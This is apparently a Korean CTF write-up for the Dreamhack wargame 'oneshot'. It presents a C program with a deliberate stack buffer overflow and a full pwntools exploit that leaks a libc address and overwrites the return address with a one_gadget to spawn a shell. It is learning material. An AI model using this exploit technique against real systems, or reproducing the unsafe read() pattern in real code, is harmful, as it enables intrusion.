본문 바로가기

Dreamhack/Wargame

[Wargame] oneshot

1. 실습 코드

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

2. 코드 분석

stdout의 주소 값을 출력해준다.

  • 이를 통해, lib가 맵핑된 주소 값을 알 수 있다.

 

BOF 취약점이 존재한다.

  • msg의 할당된 크기보다 많은 값을 입력받아온다.
  • 이를 통해, RET를 onegadget주소로 덮어쓴다.

 

check값이 변조되면, exit로 프로그램이 종료된다.

  • BOF공격을 예방하기 위한 코드로, 기존에 존재하는 값인 0이 변할 경우 프로그램이 종료된다.

3. 공격 시나리오

① 출력되는 stdout주소를 통해, lib가 맵핑된 주소 값을 계산한다.

 

② BOF취약점을 통해, RET를 조건이 맞는 onegadget으로 덮어쓴다.

  • one_gadget으로 나온 결과는 아래와 같다.

 

③ msg이후의 check가 변조되지 않게 0x8만큼 0을 넣어줘야 한다.

3. Exploit

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

p = remote("host3.dreamhack.games", 21734)
elf = ELF(b"./oneshot")
libc = ELF(b"./libc.so.6")

gadget1 = 0x45216
gadget2 = 0x4526a
gadget3 = 0xf02a4
gadget4 = 0xf1147


p.recvuntil(b"stdout: ")
libc_stdout = int(p.recvn(14), 16)
libc_base = libc_stdout - libc.symbols['_IO_2_1_stdout_']
gadget = libc_base + gadget1

print_v("stdout", libc_stdout)
print_v("libc_base", libc_base)

payload = (b"A" * 0x18)
payload += p64(0)
payload += (b"B" * 0x8) 
payload += p64(gadget)

p.recvuntil(b"MSG: ")
p.send(payload)

p.interactive()

 

 

 

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] out_of_bound  (0) 2022.08.10
[Wargame] hook  (0) 2022.07.22
[Wargame] fho  (0) 2022.07.19
[Wargame] basic_rop_x86  (0) 2022.07.10
[Wargame] basic_rop_x64  (0) 2022.07.08